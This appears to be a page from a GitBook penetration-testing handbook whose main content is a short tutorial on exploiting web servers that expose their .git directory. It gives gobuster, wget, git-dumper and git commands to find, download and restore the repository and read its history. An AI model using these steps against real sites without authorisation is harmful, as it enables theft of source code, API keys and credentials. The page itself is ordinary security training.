🦸
PEN TESTING BOOK
  • 📘PENETRATION TESTING BOOK
  • ☮️PENTESTING PROCESS
    • 1️⃣Pre-Engagement
    • 2️⃣Intelligence Gathering / Reconnaissance
    • 3️⃣Threat Modeling
    • 4️⃣Vulnerability Assessment
    • 5️⃣Exploitation
    • 6️⃣Post-Exploitation
    • 7️⃣Reporting
  • 🪟Windows Privilege Escalation
    • 🛠️Windows Exploit Suggester
    • 🏄‍♂️Windows-Privilege-Escalation
  • 🐧Linux Privilege Escalation
    • 🏄‍♀️LInux-Privilege-Escalation
  • 🐧Linux Exploit Development Tools
    • 🔧Exploit Development Tools
  • 🕸️Web Application Pentesting
    • 📈graphql injection
    • 🐱cross site scripting
    • 💉Command Injection
    • 🗃️file upload vulnerability
    • 🍶flask
    • 🦕idor
    • 📂local file inclusion
    • 🚛Sensitive Data Exposure Cheat Sheet
    • 🐴wordpress pentesting
    • ❌xxe attack
    • 🔓Authentication Bypass
    • 🕸️Webshells
    • 🏂SSRF
    • 🐈‍⬛Git Exposure
    • ✖️XSS WAF Bypass
    • XPath Injection
  • 🔁Reverse Engineering
    • 🐲intro to ghidra
  • 🦹‍♂️Network Pentesting 101
    • ☢️Router Setup
      • Vyatta Router VM Setup Guide
    • 🔢Enumeration
      • 22, 161, 162 - SSH, SNMP
    • 🧙Brute Force Attacks
      • Brute Forcing Cheat sheet
    • 🛂Post Exploitation
    • Firewall Pentesting
  • 🔅Internet of Things
    • 📳Enumerating IoT Devices
    • 😷Dissecting Embedded Devices
    • 👨‍💻Exploiting Embedded Devices
    • 🎮Dynamic Analysis with Emulation
    • ☮️Firmware Analysis
      • Firmware Analysis
      • Bootloader testing
    • Drone Pentesting
      • Common Attacks
      • Threat Categories
    • Hacking Vending Machines
  • 🚔Automotive Pentesting
    • 🔌Virtual CAN
      • Dump Traffic
  • 🗳️Container Pentesting
    • 🐳docker pentesting
    • 🐋docker container escape
    • 🐋Docker CVE's
    • ☸️kubernetes pentesting
  • 🌆SMART CITY PENTESTING
    • ♾️Protocols
      • LoRa-WAN
  • 🪦ACTIVE DIRECTORY PENTESTING
    • 🌌Active Directory Post Exploitation
  • ☄️Command and Control
    • 🌩️C2 In The Cloud
    • 🔁C2 HTTP Redictor
    • ☸️Havoc C2
    • ⛎Sliver C2
    • 🦄Mythic C2
  • 🦋PENTESTING CISCO DEVICES
    • 🔦Cisco-Torch : Enumeration
    • 🔓Password Attack (Type 5)
  • RED TEAMING
    • 🦕Initial Access
      • ⚔️Weaponization
    • 🔥Frameworks
      • Atomic Red Team
      • MITRE Caldera
Powered by GitBook
On this page
  • Theory
  • Practical
  • Finding the exposed .git
  • Downloading .git
  • Check status
  • Restore files
  • Read logs
  • Read commits
  • REFERENCES

Was this helpful?

  1. Web Application Pentesting

Git Exposure

Theory

Git is a widely used code versioning tool for application development. It allows developers to always keep an up-to-date copy of the code and to have greater control over changes made.

The danger occurs when the application leaves the “.git” directory, which is in the system root, exposed. By carelessness, an application that uses Git for versioning can expose the “.git” directory.

This directory of source code can contain sensitive information such as API keys, developer comments, AWS keys, and even the password to a system’s administrative screen and logs of all changes made during development.

Practical

Finding the exposed .git

# gobuster
gobuster dir -u http://10.10.213.12/ -w /usr/share/dirb/wordlists/common.txt

# DotGit Extension

Downloading .git

# wget
wget --mirror -I .git <URL>

# git-dumper
bash gitdumper.sh http://target/.git/ <dest-dir>
OR
pip3 install git-dumper

Check status

git status

Restore files

git checkout -- .
or
git restore .

Read logs

git log

Read commits

git show <commit id>

REFERENCES

PreviousSSRFNextXSS WAF Bypass

Last updated 1 year ago

Was this helpful?

🕸️
🐈‍⬛
https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37
https://infosecwriteups.com/exposed-git-directory-exploitation-3e30481e8d75